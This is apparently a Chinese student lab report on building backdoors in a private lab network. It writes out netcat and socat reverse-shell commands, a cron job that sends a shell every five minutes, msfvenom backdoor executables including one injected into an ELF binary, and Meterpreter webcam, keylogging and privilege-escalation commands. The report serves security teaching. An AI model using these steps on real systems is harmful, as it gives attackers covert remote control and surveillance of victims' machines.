目录
1 相关概念
1.1 后门? - 后门就是不经过正常认证流程而访问系统的通道。1.2 哪里有后门?
- 编译器留后门
- 操作系统留后门
- 应用程序中留后门(最常见)
- 潜伏于操作系统中/伪装为特定应用的专门后门程序
2 常用后门工具
2.1 NC/netcat
- 相关介绍
- Netcat是一种功能强大的联网实用程序,可使用TCP / IP协议跨网络连接读取和写入数据
- http://nc110.sourceforge.net/
- http://netcat.sourceforge.net/.
- 提供以下主要功能的访问
- 与任何端口的出站和入站连接(TCP或UDP)
- 特色隧道模式,它还允许特殊的隧道,例如UDP到TCP,并可以指定所有网络参数(源端口/接口,侦听端口/接口和允许连接到隧道的远程主机)。
内置端口扫描功能,带有随机发生器 - 高级用法选项,例如缓冲的发送模式(每N秒一行)和已传输和接收的数据的十六进制转储(到stderr或到指定的文件)
- 可选的RFC854 telnet代码解析器和响应器
- 系统
- Linux:一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- 下载ncat.rar,解压即可使用
- Win获得Linux Shell 基于win7/kali linux
- 获取windows主机ip地址:
ipconfig/all
- windows打开监听:
ncat.exe -l -p 8888
- Linux反弹连接windows:
nc 192.168.137.133 8888 -e /bin/sh
- windows获得一个linux shell,可运行任何指令:我们试一下ls指令
- 获取windows主机ip地址:
- Linux获得Win Shell
- 获取Linux主机ip地址:
ifconfig/all
- Linux运行监听指令:
nc -l -p 8888
- Windows反弹连接Linux:
ncat.exe -e cmd.exe 192.168.137.130 8888
- Linux下看到Windows的命令提示:我们试一下dir指令和whoami指令
- 获取Linux主机ip地址:
- Netcat扩展知识
- 参考:①Netcat使用指南,②netcat使用方法简介
- Socat--Netcat Plus
参考:SOCAT 简介
Windows版本下载
2.2 Meterpreter
2.3 corn
- corn机制
- cron可以让系统在指定的时间,去执行某个指定的工作,我们可以使用crontab指令来管理cron机制
- corntab表达式
+---------------- minute 分钟(0 - 59) | +------------- hour 小时(0 - 23) | | +---------- day 日期(1 - 31) | | | +------- month 月份(1 - 12) | | | | +---- week 星期(0 - 7) (星期天=0 or 7) | | | | | * * * * * 要运行的命令
- crontab命令
man crontab
查看命令手册
- corn使用示例
- 创建corn任务:
crontab -e
任意选择一个编辑器我使用的是nano
*/1 * * * * echo "Have a break now." >> /tmp/test.txt
每隔1分钟输出Have a break now到/tmp/test.txt
- 查看定时任务:
crontab -l
- 捕捉/tmp/test.txt
- 创建corn任务:
- 参考:①cron和crontab命令详解,②Shell命令_Cron使用
3 实验内容
3.1 使用netcat获取主机操作Shell,cron启动 - Win 开启监听:`ncat.exe -l -p 8888` - Kali cron启动:每5分钟相应ip主机会获得一个shell ``` crontab -e */5 * * * * /bin/netcat 192.168.137.133 8888 -e /bin/sh ``` ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200317185659214-366611307.png) 五分钟后…… ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200317190128833-567980219.png)3.2 使用socat获取主机操作Shell,任务计划启动
- Win创建socat任务
- 控制面板-->管理工具-->任务计划程序-->创建任务(右侧边栏)
- 常规:设置名称 我设置的是20175207
- 触发器:新建(设置如下)
- 操作:新建(设置如下)
程序或脚本中为socat.exe的路径
添加参数中为tcp-listen:8888 exec:cmd.exe,pty,stderr
把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout
- 依次确认
- 查看20175207任务状态为准备就绪,点击运行
- Kali 在Linux中获取cmd shell:
socat - tcp:192.168.137.133:8888
3.3 使用 MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- Kali Linux中生成后门可执行文件
注意:这里的ip地址为控制端ip,即kali主机的ip
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -f exe > 20175207_backdoor.exe
- 将后门文件20175207_backdoor.exe传送到Win7主机中
- Win
ncat.exe -lv 8888 > 20175207_backdoor.exe
- Kali
nc 192.168.137.133 8888 < 20175207_backdoor.exe
注意:这里的IP地址为被控主机IP,即Win7的ip - 查看Win7中是否有后门文件
- Win
- Kali 进行监听
- 进入msf控制台:
msfconsole
- 使用监听模块,设置payload,开始监听(配置如下)
注意:set LHOST用的是控制端ip,即Kali的ip
- 进入msf控制台:
- Win 运行后门程序
提前设置后门程序可通过防火墙
3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
- 获取音频:
recorf_mic
- 获取摄像头:
webcam_snap
- 屏幕截图:
screenshot
- 击键记录
- 开启键盘记录功能:keyscan_start
- 显示捕捉到的键盘记录信息:keyscan_dump
- 停止键盘记录功能:keyscan_stop
- 提权:
getsystem
system是最高权限 - 查看当前用户:
getuid
提权失败原因是当前用户为管理员
3.5 使用MSF生成shellcode,注入到实践1的pwn1中,获取反弹连接Shell
- pwn1是ELF文件,查看pwn1是多少位的:
readelf -h pwn1
Magic后第五个值是01,表明pwn1是32位的。(64位对应值02) - 打开MSF:
msfconsole
- 查看payload:
show payloads
我们选择linux/x86/meterpreter/reverse_tcp - 对应指令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
- 最终指令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -x pwn1 -f elf > pwn3
- 将pwn3传输到被控主机
- MSF打开监听
- 被控主机运行pwn3_
- 控制成功